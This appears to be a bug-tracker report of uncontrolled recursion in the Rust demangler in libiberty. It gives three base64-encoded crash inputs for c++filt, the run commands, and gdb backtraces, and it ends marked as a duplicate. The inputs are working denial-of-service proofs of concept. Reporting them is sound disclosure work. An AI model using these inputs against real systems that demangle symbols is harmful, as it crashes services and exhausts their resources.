# Uncontrolled Recursion in libiberty/rust-demangle.c ## Description An Uncontrolled Recursion was discovered in libiberty/rust-demangle.c. The vulnerability could allow attackers to consume excessive resources such as CPU or memory. **version** gcc: ad6091d1b891cc8aeda27850c4035f9b6163dcb0 binutils: d16ce6240e556133549f4f69927eb99b28978af2 **System information** Ubuntu 20.04 focal, AMD EPYC 7742 64-Core @ 16x 2.25GHz ## Proof of Concept **poc** ``` base64 poc ZPGoqKioqKj6/ytu8rq7H9UdEJpfUkJfAKh//4ioqKioqKj//2EAAAAA//8AAAQFAG1Ycy8XABgAQgAS//9lP0BHcnJycotdJPMrXNNcfOJ6mgAAXCtmIEi3AAAQ ``` **command** ``` ./c++filt < ./poc ``` **Result** ``` ./c++filt < ./poc [1] 881695 segmentation fault ./c++filt < ./poc ``` **gdb** ``` Program received signal SIGSEGV, Segmentation fault. 0x000055555564082d in demangle_path (rdm=0x7fffffffe040, in_value=in_value@entry=1) at ./rust-demangle.c:769 769 backref = parse_integer_62 (rdm); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────── RAX 0x0 RBX 0x42 RCX 0x2 RDX 0x0 RDI 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f42 /* 'B_' */ RSI 0x55555564082a (demangle_path+970) ◂— mov rdi, rbp R8 0x555555696142 (mbuffer+2) ◂— 0x5f42 /* 'B_' */ R9 0x555555666024 ◂— 0xfffda778fffda806 R10 0x0 R11 0x555555696140 (mbuffer) ◂— 0x5f42525f /* '_RB_' */ R12 0x1 R13 0x5555556662a0 (_sch_istable) ◂— 0x2000200020802 R14 0x55555564246b ◂— 0x69727473002e245f /* '_$.' */ R15 0x555555696140 (mbuffer) ◂— 0x5f42525f /* '_RB_' */ RBP 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f42 /* 'B_' */ RSP 0x7fffff7ff000 ◂— 0x0 RIP 0x55555564082d (demangle_path+973) ◂— call 0x55555563e360 ──────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────── 0x55555564082a <demangle_path+970> mov rdi, rbp ► 0x55555564082d <demangle_path+973> call parse_integer_62 <parse_integer_62> rdi: 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f42 /* 'B_' */ 0x555555640832 <demangle_path+978> mov edx, dword ptr [rbp + 0x2c] 0x555555640835 <demangle_path+981> test edx, edx 0x555555640837 <demangle_path+983> jne demangle_path+64 <demangle_path+64> 0x55555564083d <demangle_path+989> mov rbx, qword ptr [rbp + 0x20] 0x555555640841 <demangle_path+993> mov qword ptr [rbp + 0x20], rax 0x555555640845 <demangle_path+997> mov esi, r12d 0x555555640848 <demangle_path+1000> call demangle_path <demangle_path> 0x55555564084d <demangle_path+1005> mov qword ptr [rbp + 0x20], rbx 0x555555640851 <demangle_path+1009> jmp demangle_path+64 <demangle_path+64> ──────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────── In file: /home/aidai/fuzzing/binutils/binutils-gdb/libiberty/rust-demangle.c 764 demangle_generic_arg (rdm); 765 } 766 PRINT (">"); 767 break; 768 case 'B': ► 769 backref = parse_integer_62 (rdm); 770 if (!rdm->skipping_printing) 771 { 772 old_next = rdm->next; 773 rdm->next = backref; 774 demangle_path (rdm, in_value); ──────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffff7ff000 ◂— 0x0 ... ↓ 6 skipped 07:0038│ 0x7fffff7ff038 ◂— 0xb50269d9f4754500 ────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────── ► f 0 0x55555564082d demangle_path+973 f 1 0x55555564084d demangle_path+1005 f 2 0x55555564084d demangle_path+1005 f 3 0x55555564084d demangle_path+1005 f 4 0x55555564084d demangle_path+1005 f 5 0x55555564084d demangle_path+1005 f 6 0x55555564084d demangle_path+1005 f 7 0x55555564084d demangle_path+1005 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── ``` **poc2** ``` base64 poc aUlaDwAAEGQ6YwAcAP9hAABaAAAAAAB/X1JZQl+DYQIMAABBPVuAAAAAACA6Ui44/zo6Ojr/Ojo6 Ojo6TzD9YhBP8QAAABAkTwBAYv///eAjABAkEBBcXFwQEFxcXDw= ``` **command** ``` ./c++filt < ./poc ``` **Result** ``` [1] 1731144 segmentation fault ./c++filt < ./poc ``` **gdb** ``` Program received signal SIGSEGV, Segmentation fault. demangle_type (rdm=0x7fffffffe040) at ./rust-demangle.c:866 866 basic = basic_type (tag); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────── RAX 0x555555696142 (mbuffer+2) ◂— 0x5f4259 /* 'YB_' */ RBX 0x555555665fd4 ◂— 0xfffd9f3ffffd9f68 RCX 0x2 RDX 0x1 RDI 0x42 RSI 0x3 R8 0x555555665364 ◂— 0x3d2d00496d003c /* '<' */ R9 0x555555666024 ◂— 0xfffda778fffda806 R10 0x0 R11 0x7ffff7fa5be0 (main_arena+96) —▸ 0x5555556b06c0 ◂— 0x0 R12 0x0 R13 0x42 R14 0x0 R15 0x555555696140 (mbuffer) ◂— 0x5f4259525f /* '_RYB_' */ RBP 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f4259 /* 'YB_' */ RSP 0x7fffff7ff000 ◂— 0x0 RIP 0x55555563fc9c (demangle_type+476) ◂— call 0x55555563e7c0 ──────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────── ► 0x55555563fc9c <demangle_type+476> call basic_type <basic_type> rdi: 0x42 0x55555563fca1 <demangle_type+481> mov r12, rax 0x55555563fca4 <demangle_type+484> test rax, rax 0x55555563fca7 <demangle_type+487> jne demangle_type+408 <demangle_type+408> 0x55555563fca9 <demangle_type+489> lea eax, [r13 - 0x41] 0x55555563fcad <demangle_type+493> cmp al, 0x13 0x55555563fcaf <demangle_type+495> ja demangle_type+96 <demangle_type+96> 0x55555563fcb5 <demangle_type+501> movzx eax, al 0x55555563fcb8 <demangle_type+504> movsxd rax, dword ptr [rbx + rax*4] 0x55555563fcbc <demangle_type+508> add rax, rbx 0x55555563fcbf <demangle_type+511> jmp rax ──────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────── In file: /home/aidai/fuzzing/binutils/binutils-gdb/libiberty/rust-demangle.c 861 if (rdm->errored) 862 return; 863 864 tag = next (rdm); 865 ► 866 basic = basic_type (tag); 867 if (basic) 868 { 869 PRINT (basic); 870 return; 871 } ──────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffff7ff000 ◂— 0x0 ... ↓ 4 skipped 05:0028│ 0x7fffff7ff028 ◂— 0x1985771200307400 06:0030│ 0x7fffff7ff030 ◂— 0x0 07:0038│ 0x7fffff7ff038 ◂— 0x59 /* 'Y' */ ────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────── ► f 0 0x55555563fc9c demangle_type+476 f 1 0x555555640547 demangle_path+231 f 2 0x55555563ff33 demangle_type+1139 f 3 0x555555640547 demangle_path+231 f 4 0x55555563ff33 demangle_type+1139 f 5 0x555555640547 demangle_path+231 f 6 0x55555563ff33 demangle_type+1139 f 7 0x555555640547 demangle_path+231 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── pwndbg> ``` **poc3** ``` base64 poc aWYgeHMoEP//X1AgL61NPD1bZRAAAAA8srKysrKysrKysrKyXFxcYXRjbyBAbiD//yDPTCBHJiZv b21vbxByZf9/X1JZREJfJmEAgAAAEABoaWEvaRAQXFxvXA== ``` **command** ``` ./c++filt < ./poc ``` **Result** ``` ./c++filt < ./poc [1] 2031222 segmentation fault ./c++filt < ./poc ``` **gdb** ``` Program received signal SIGSEGV, Segmentation fault. 0x000055555563f9b3 in demangle_path_maybe_open_generics (rdm=rdm@entry=0x7fffffffe040) at ./rust-demangle.c:1075 1075 demangle_path (rdm, 0); LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ────────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────── RAX 0x0 RBX 0x4 RCX 0x0 RDX 0x59 RDI 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /* 'YDB_' */ RSI 0x0 R8 0x555555665ede ◂— 0x202b2000206e7964 /* 'dyn ' */ R9 0x4 R10 0x0 R11 0x246 R12 0x0 R13 0x7fffff7ff040 ◂— 0x0 R14 0x0 R15 0x555555696140 (mbuffer) ◂— 0x5f424459525f /* '_RYDB_' */ RBP 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /* 'YDB_' */ RSP 0x7fffff7ff000 ◂— 0x4 RIP 0x55555563f9b3 (demangle_path_maybe_open_generics+35) ◂— call 0x555555640460 ──────────────────────────────────────────────────────[ DISASM ]────────────────────────────────────────────────────── ► 0x55555563f9b3 <demangle_path_maybe_open_generics+35> call demangle_path <demangle_path> rdi: 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /* 'YDB_' */ rsi: 0x0 0x55555563f9b8 <demangle_path_maybe_open_generics+40> mov eax, r12d 0x55555563f9bb <demangle_path_maybe_open_generics+43> pop rbx 0x55555563f9bc <demangle_path_maybe_open_generics+44> pop rbp 0x55555563f9bd <demangle_path_maybe_open_generics+45> pop r12 0x55555563f9bf <demangle_path_maybe_open_generics+47> ret 0x55555563f9c0 <demangle_path_maybe_open_generics+48> mov rdx, qword ptr [rdi] 0x55555563f9c3 <demangle_path_maybe_open_generics+51> movzx edx, byte ptr [rdx + rax] 0x55555563f9c7 <demangle_path_maybe_open_generics+55> cmp dl, 0x42 0x55555563f9ca <demangle_path_maybe_open_generics+58> je demangle_path_maybe_open_generics+208 <demangle_path_maybe_open_generics+208> 0x55555563f9d0 <demangle_path_maybe_open_generics+64> cmp dl, 0x49 ──────────────────────────────────────────────────[ SOURCE (CODE) ]─────────────────────────────────────────────────── In file: /home/aidai/fuzzing/binutils/binutils-gdb/libiberty/rust-demangle.c 1070 PRINT (", "); 1071 demangle_generic_arg (rdm); 1072 } 1073 } 1074 else ► 1075 demangle_path (rdm, 0); 1076 return open; 1077 } 1078 1079 static void 1080 demangle_dyn_trait (struct rust_demangler *rdm) ──────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────── 00:0000│ rsp 0x7fffff7ff000 ◂— 0x4 01:0008│ 0x7fffff7ff008 —▸ 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /* 'YDB_' */ 02:0010│ 0x7fffff7ff010 ◂— 0x0 03:0018│ 0x7fffff7ff018 —▸ 0x55555563faad (demangle_path_maybe_open_generics+285) ◂— mov qword ptr [rbp + 0x20], rbx 04:0020│ 0x7fffff7ff020 ◂— 0x0 05:0028│ 0x7fffff7ff028 —▸ 0x7fffffffe040 —▸ 0x555555696142 (mbuffer+2) ◂— 0x5f424459 /* 'YDB_' */ 06:0030│ 0x7fffff7ff030 ◂— 0x0 07:0038│ 0x7fffff7ff038 —▸ 0x55555563fb98 (demangle_type+216) ◂— mov rdx, qword ptr [rbp + 0x20] ────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────── ► f 0 0x55555563f9b3 demangle_path_maybe_open_generics+35 f 1 0x55555563faad demangle_path_maybe_open_generics+285 f 2 0x55555563fb98 demangle_type+216 f 3 0x55555563fb98 demangle_type+216 f 4 0x555555640547 demangle_path+231 f 5 0x55555563f9b8 demangle_path_maybe_open_generics+40 f 6 0x55555563faad demangle_path_maybe_open_generics+285 f 7 0x55555563fb98 demangle_type+216 ────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── ```
Dup of bug 98886. *** This bug has been marked as a duplicate of bug 98886 ***